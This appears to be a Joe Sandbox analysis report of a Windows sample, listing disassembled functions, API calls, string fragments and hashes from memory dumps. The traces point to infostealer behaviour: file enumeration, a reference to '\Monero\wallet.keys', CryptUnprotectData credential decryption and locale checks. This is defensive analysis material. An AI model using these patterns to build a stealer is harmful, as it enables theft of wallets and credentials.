Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: ac8f4edcf827465330cdefcc41d67504b7c2e45ec2cf124f363bed024ae959a1
Instruction ID: aa64b2854e9063604fb34512181d7aae483468d8367a996b2312a217e1fb20e2
Opcode Fuzzy Hash: ac8f4edcf827465330cdefcc41d67504b7c2e45ec2cf124f363bed024ae959a1
Instruction Fuzzy Hash: F99145729002049BCF14FF70DC569FE73BCAB89300F459669B806BA145EF34AB09CB92

Function 0125E826 Relevance: 11.6, Strings: 8, Instructions: 1629COMMON

Download Yara Rule

Strings

<X^, xrefs: 0125F7E5
A{[, xrefs: 0125F2A0
9H9E, xrefs: 0125F23D
zBzO, xrefs: 0125FB18
uP;, xrefs: 0125EA5D
L.ot, xrefs: 0125EAB1
VN:U, xrefs: 0125FB04
^$}G, xrefs: 0125EE0B

Memory Dump Source

Source File: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 9H9E$<X^$L.ot$VN:U$^$}G$uP;$zBzO$A{[
API String ID: 0-540469650
Opcode ID: 40689312aec328b67a625f13b0356ee94da427c3aa839608bda20b0add19530f
Instruction ID: 1c7c683f89dbdc3fea9bb187997b0a6b79981d4d3fecdabee8dcf51226dbaa00
Opcode Fuzzy Hash: 40689312aec328b67a625f13b0356ee94da427c3aa839608bda20b0add19530f
Instruction Fuzzy Hash: E9B216F3A0C2149FE3046E2DEC8567AFBE9EF94320F1A493DEAC4C7744E63558058696

Function 00EA7B90 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

GetKeyboardLayoutList.USER32(00000000,00000000,00EB05AF), ref: 00EA7BE1
LocalAlloc.KERNEL32(00000040,?), ref: 00EA7BF9
GetKeyboardLayoutList.USER32(?,00000000), ref: 00EA7C0D
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00EA7C62
LocalFree.KERNEL32(00000000), ref: 00EA7D22

Strings

/ , xrefs: 00EA7C7F

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: e0953a57f8f8cb78437013ada208fe09c86e75ea4ad739178bdf6a244f1433b5
Instruction ID: 7a43c8b7e0062eaa3e8fa049b6de2062995b5e14e9246969ecc69be352410695
Opcode Fuzzy Hash: e0953a57f8f8cb78437013ada208fe09c86e75ea4ad739178bdf6a244f1433b5
Instruction Fuzzy Hash: 2F413B71941218ABDB64DF94DC99BEEB3B8FF49700F204199E40A7A181DB742F85CFA1

Function 0125B3D7 Relevance: 10.4, Strings: 7, Instructions: 1653COMMON

Download Yara Rule

Strings

N&c~, xrefs: 0125BB2E
Jh]w, xrefs: 0125C737
`*, xrefs: 0125C297
XKyw, xrefs: 0125C26F
@\yn, xrefs: 0125C5EB
6Dn, xrefs: 0125C003
rQ[~, xrefs: 0125BB4C

Memory Dump Source

Source File: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 6Dn$@\yn$Jh]w$N&c~$XKyw$`*$rQ[~
API String ID: 0-3100525379
Opcode ID: 9daa84c6957aa03a3894493383cdfacc4a4e3538cc82f1acfe29e5bea62886f1
Instruction ID: f5f7334600a7729e9ca1c4ad61745d47486f436be3b694a835552efdbc646f77
Opcode Fuzzy Hash: 9daa84c6957aa03a3894493383cdfacc4a4e3538cc82f1acfe29e5bea62886f1
Instruction Fuzzy Hash: 6FB218F360C204AFE3046E2DEC8567ABBE9EFD4320F1A463DEAC4D7744E63558058696

Function 012563BA Relevance: 10.4, Strings: 7, Instructions: 1628COMMON

Download Yara Rule

Strings

[Gxi, xrefs: 01256724
[&[^, xrefs: 01256F80
`zo, xrefs: 0125739C
F}i, xrefs: 01256F47
#[{e, xrefs: 01256E24
E<=, xrefs: 01256884
,7, xrefs: 01256973

Memory Dump Source

Source File: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: #[{e$,7$F}i$[&[^$[Gxi$`zo$E<=
API String ID: 0-2321347174
Opcode ID: d24b7794374d8e7c2f2a2bab7f7b5036c6e7cf17cae37b88dab63f37aeda2ff3
Instruction ID: 17bf3c6a76d148b49350a142d91b02fd3056dbe7db52b739828b0de4f056f1e8
Opcode Fuzzy Hash: d24b7794374d8e7c2f2a2bab7f7b5036c6e7cf17cae37b88dab63f37aeda2ff3
Instruction Fuzzy Hash: B0B24CF3A082049FD3046E2DEC8567ABBEAEFD4720F1A463DE6C4C3744E63599058697

Function 0125CE4F Relevance: 10.3, Strings: 7, Instructions: 1548COMMON

Download Yara Rule

Strings

Y]R, xrefs: 0125CEE9
uno, xrefs: 0125DC45
dS<, xrefs: 0125D0A0
HrF, xrefs: 0125DD3C
]_, xrefs: 0125D19E
A[7, xrefs: 0125DA9B
x0~+, xrefs: 0125CF93

Memory Dump Source

Source File: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: A[7$HrF$Y]R$dS<$uno$x0~+$]_
API String ID: 0-2758577009
Opcode ID: a62fa7c93c1bf3fa1f66ce0d690d9b902163d3166579c5ae3ff1ff38b01b513a
Instruction ID: 426c78917b4fde4378d1b50f29201ddd9305dab940e46d0f491e5320c90ee063
Opcode Fuzzy Hash: a62fa7c93c1bf3fa1f66ce0d690d9b902163d3166579c5ae3ff1ff38b01b513a
Instruction Fuzzy Hash: 4BA2F3F3A08204AFE304AE2DEC4567AFBE9EF94720F16493DEAC4C3744E63558158796

Function 00E9E430 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00EAA740: lstrcpy.KERNEL32(00EB0E17,00000000), ref: 00EAA788

Part of subcall function 00EAA920: lstrcpy.KERNEL32(00000000,?), ref: 00EAA972
Part of subcall function 00EAA920: lstrcat.KERNEL32(00000000), ref: 00EAA982

Part of subcall function 00EAA9B0: lstrlen.KERNEL32(?,00BB8938,?,\Monero\wallet.keys,00EB0E17), ref: 00EAA9C5
Part of subcall function 00EAA9B0: lstrcpy.KERNEL32(00000000), ref: 00EAAA04
Part of subcall function 00EAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EAAA12

Part of subcall function 00EAA8A0: lstrcpy.KERNEL32(?,00EB0E17), ref: 00EAA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00EB0D73), ref: 00E9E4A2
StrCmpCA.SHLWAPI(?,00EB14F8), ref: 00E9E4F2
StrCmpCA.SHLWAPI(?,00EB14FC), ref: 00E9E508
FindNextFileA.KERNEL32(000000FF,?), ref: 00E9EBDF

Strings

\*.*, xrefs: 00E9E44D

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: \*.*
API String ID: 433455689-1173974218
Opcode ID: c3c9a5830cf1a9d1e777357eb89aba4427a12a84fe51c1f329da6b17b82c01b4
Instruction ID: 83f0d6501a4e94dc8c3aa66b6e8d9f16228fcc66153ee4fe5108cc30d28a5f47
Opcode Fuzzy Hash: c3c9a5830cf1a9d1e777357eb89aba4427a12a84fe51c1f329da6b17b82c01b4
Instruction Fuzzy Hash: C81243329002149BDB58FB60DC96AEE73B8AF59300F4551B9B50B7A091EF347F49CB92

Function 00E99AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00E99AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00E94EEE,00000000,?), ref: 00E99B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N,00000000,00000000), ref: 00E99B2A
LocalFree.KERNEL32(?,?,?,?,00E94EEE,00000000,?), ref: 00E99B3F

Strings

N, xrefs: 00E99AD4, 00E99AE1, 00E99AF9, 00E99B18, 00E99AE4, 00E99B1B

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: N
API String ID: 4291131564-1689755984
Opcode ID: ce46f0d5f83c08442e6d6e4abf1f3ce9920f233ce315a8c0f1c50c60d012efff
Instruction ID: f0fd4fe1876822d96b0ec056f8fe434d41e0f54b7619f05d40f778b1219f0586
Opcode Fuzzy Hash: ce46f0d5f83c08442e6d6e4abf1f3ce9920f233ce315a8c0f1c50c60d012efff
Instruction Fuzzy Hash: 5411A2B4241208EFEB10CF64D895FAA77B5FB89B04F208058FD159B384C7B6A901CB94

Function 0125488C Relevance: 7.9, Strings: 5, Instructions: 1637COMMON

Download Yara Rule

Strings

@lD;, xrefs: 01254FEC
R7t, xrefs: 012556ED
Nn_, xrefs: 01255ADB
c3v, xrefs: 01254CE0
k7{, xrefs: 01254ADA

Memory Dump Source

Source File: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: @lD;$Nn_$R7t$c3v$k7{
API String ID: 0-668877412
Opcode ID: d729d990d8223e15973b43603de6d42c3dcdae0e56936b4fb683eda6a3afec2e
Instruction ID: a92fc7e049b888226cd6001afa2cbc44b5dd10b107f274401877c0235466a7ac
Opcode Fuzzy Hash: d729d990d8223e15973b43603de6d42c3dcdae0e56936b4fb683eda6a3afec2e
Instruction Fuzzy Hash: 8BB2E5F360C2049FE304AE2DEC8567ABBE5EF94720F16893DE6C4C7744EA3598058697

Function 01251139 Relevance: 7.9, Strings: 5, Instructions: 1617COMMON

Download Yara Rule

Strings

n<{, xrefs: 01251D7B
g4;, xrefs: 01252349
Wd6c, xrefs: 012513F7
g4;, xrefs: 0125233D
NRwj, xrefs: 01251386

Memory Dump Source

Source File: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: NRwj$Wd6c$g4;$g4;$n<{
API String ID: 0-213262960
Opcode ID: 1cc6c72b39bbf0c6415d31146ca4e5e3625c0a6e70b9c2a56031aed362136b7d
Instruction ID: 5ed464542c56806909ffdbbb4ccbe01a6e2fd4ca84942111d9e3333d38ead5f7
Opcode Fuzzy Hash: 1cc6c72b39bbf0c6415d31146ca4e5e3625c0a6e70b9c2a56031aed362136b7d
Instruction Fuzzy Hash: 6CB2E5F39082049FE304AE2DDC8567AFBE9EF94320F16493DEAC5C3744EA3599058697

Function 00E9C820 Relevance: 7.6, APIs: 5, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 00E9C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 00E9C87C
lstrcat.KERNEL32(?,00EB0B46), ref: 00E9C943
lstrcat.KERNEL32(?,00EB0B47), ref: 00E9C957
lstrcat.KERNEL32(?,00EB0B4E), ref: 00E9C978

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.00000000010DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.00000000010EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000126F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.000000000134A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001371000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001378000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176228058.0000000001387000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176611925.0000000001388000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176742102.0000000001520000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176758538.0000000001521000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$BinaryCryptStringlstrlen
String ID:
API String ID: 189259977-0
Opcode ID: ebe77e53720192accedce73e317ce857c6c88f54f051b0be721b429045c2cfae
Instruction ID: ab4ffe60a7d4db05a607eb8d356921442f0046dba9d4dbd3ef2d9d70f4a1bcd9
Opcode Fuzzy Hash: ebe77e53720192accedce73e317ce857c6c88f54f051b0be721b429045c2cfae
Instruction Fuzzy Hash: 87417F75A0421ADFDB10DF94DD89BEFB7B8BB88304F1041A8E909B7280D7755A84CF91

Function 00E97240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00E9724D
RtlAllocateHeap.NTDLL(00000000), ref: 00E97254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00E97281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00E972A4
LocalFree.KERNEL32(?), ref: 00E972AE

Memory Dump Source

Source File: 00000000.00000002.2176067098.0000000000E91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E90000, based on PE: true

Associated: 00000000.00000002.2176049629.0000000000E90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176067098.0000000000F4D000.00000040.00000001.01000000.00000003.sdmpDownload File
